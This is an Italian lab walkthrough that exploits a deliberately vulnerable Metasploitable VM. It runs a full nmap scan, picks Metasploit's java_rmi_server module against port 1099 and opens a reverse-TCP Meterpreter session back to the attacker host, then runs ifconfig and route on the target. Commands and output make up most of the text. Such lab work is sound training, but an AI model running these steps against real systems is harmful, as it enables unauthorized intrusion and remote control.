In primo luogo andiamo a fare una scansione approfondita sulla macchina Metasploitable mediante l'utilizzo di Nmap con i seguenti parametri:

-sV: per ottenere la versione dei servizi in esecuzione sulle porte

-p-: esegue una scansione per tutte le porte comprese tra 0 e 65535

--min-rate 1000: numero minimo di pacchetti spediti da Nmap, lo adoperiamo con il valore 1000 per velocizzare la scansione

```
┌──(kali㉿kali)-[~]
└─$ nmap -p- --min-rate 1000 -sV 192.168.11.112
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-08 04:46 EST
Stats: 0:00:22 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 22.22% done; ETC: 04:47 (0:00:21 remaining)
Stats: 0:00:47 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 96.30% done; ETC: 04:47 (0:00:01 remaining)
Stats: 0:01:15 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 96.30% done; ETC: 04:48 (0:00:02 remaining)
Stats: 0:01:20 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 96.30% done; ETC: 04:48 (0:00:02 remaining)
Nmap scan report for 192.168.11.112
Host is up (0.00049s latency).
Not shown: 65508 closed tcp ports (conn-refused)
PORT      STATE SERVICE     VERSION
21/tcp    open  ftp         vsftpd 2.3.4
22/tcp    open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet      Linux telnetd
25/tcp    open  smtp        Postfix smtpd
53/tcp    open  domain      ISC BIND 9.4.2
80/tcp    open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind     2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
1099/tcp  open  java-rmi    GNU Classpath grmiregistry
1524/tcp  open  bindshell   Metasploitable root shell
2049/tcp  open  nfs         2-4 (RPC #100003)
2121/tcp  open  ftp         ProFTPD 1.3.1
3306/tcp  open  mysql       MySQL 5.0.51a-3ubuntu5
3632/tcp  open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp  open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc         VNC (protocol 3.3)
6000/tcp  open  X11         (access denied)
6667/tcp  open  irc         UnrealIRCd (Admin email admin@Metasploitable.LAN)
6697/tcp  open  irc         UnrealIRCd
```

Come si può notare il servizio che ci interessa è in esecuzione sulla porta TCP 1099.

Andiamo ora ad aprire Metasploit per cercare un exploit da eseguire per la determinata vulnerabilità:

```
msf6 > search java rmi

Matching Modules
================

   #   Name                                                  Disclosure Date  Rank       Chec
k  Description
   -   ----                                                  ---------------  ----       ----
-  -----------
   0   exploit/multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce  2019-05-22       excellent  Yes
   Atlassian Crowd pdkinstall Unauthenticated Plugin Upload RCE
   1   exploit/multi/misc/java_jmx_server                    2013-05-22       excellent  Yes
   Java JMX Server Insecure Configuration Java Code Execution
   2   auxiliary/scanner/misc/java_jmx_server                2013-05-22       normal     No
   Java JMX Server Insecure Endpoint Code Execution Scanner
   3   auxiliary/gather/java_rmi_registry                                     normal     No
   Java RMI Registry Interfaces Enumeration
   4   exploit/multi/misc/java_rmi_server                    2011-10-15       excellent  Yes
   Java RMI Server Insecure Default Configuration Java Code Execution
   5   auxiliary/scanner/misc/java_rmi_server                2011-10-15       normal     No
   Java RMI Server Insecure Endpoint Code Execution Scanner
   6   exploit/multi/browser/java_rmi_connection_impl        2010-03-31       excellent  No
   Java RMIConnectionImpl Deserialization Privilege Escalation
   7   exploit/multi/browser/java_signed_applet              1997-02-19       excellent  No
   Java Signed Applet Social Engineering Code Execution
   8   exploit/multi/http/jenkins_metaprogramming            2019-01-08       excellent  Yes
   Jenkins ACL Bypass and Metaprogramming RCE
   9   exploit/linux/misc/jenkins_java_deserialize           2015-11-18       excellent  Yes
   Jenkins CLI RMI Java Deserialization Vulnerability
   10  exploit/linux/http/kibana_timelion_prototype_pollution_rce  2019-10-30       manual     Yes
   Kibana Timelion Prototype Pollution RCE
   11  exploit/multi/browser/firefox_xpi_bootstrapped_addon  2007-06-27       excellent  No
   Mozilla Firefox Bootstrapped Addon Social Engineering Code Execution
   12  exploit/multi/http/openfire_auth_bypass_rce_cve_2023_32315  2023-05-26       excellent  Yes
   Openfire authentication bypass with RCE plugin
```

L'exploit in evidenza ci è sembrato il più opportuno per questo attacco, dopo averlo configurato per bersagliare la macchina Metasploitable lo eseguiamo:

```
msf6 exploit(multi/misc/java_rmi_server) > set rhosts 192.168.11.112
rhosts => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/LYxAczu8
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (57971 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:52641) at 2024-03-08 04:56:51 -0
500
```

Una sessione di Meterpreter è stata creata con successo, ora possiamo eseguire liberamente comandi sulla macchina bersaglio, cominciamo con il comando ifconfig:

```
meterpreter > ifconfig

Interface  1
============
Name         : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::


Interface  2
============
Name         : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe2d:5038
IPv6 Netmask : ::
```

Vediamo come vengono visualizzate correttamente le impostazioni di rete della macchina bersaglio, ora ne andiamo a vedere la tabella di routing con il comando route:

```
meterpreter > route

IPv4 network routes
===================

    Subnet          Netmask        Gateway  Metric  Interface
    ------          -------        -------  ------  ---------
    127.0.0.1       255.0.0.0      0.0.0.0
    192.168.11.112  255.255.255.0  0.0.0.0


IPv6 network routes
===================

    Subnet                   Netmask  Gateway  Metric  Interface
    ------                   -------  -------  ------  ---------
    ::1                      ::       ::
    fe80::a00:27ff:fe2d:5038 ::       ::
```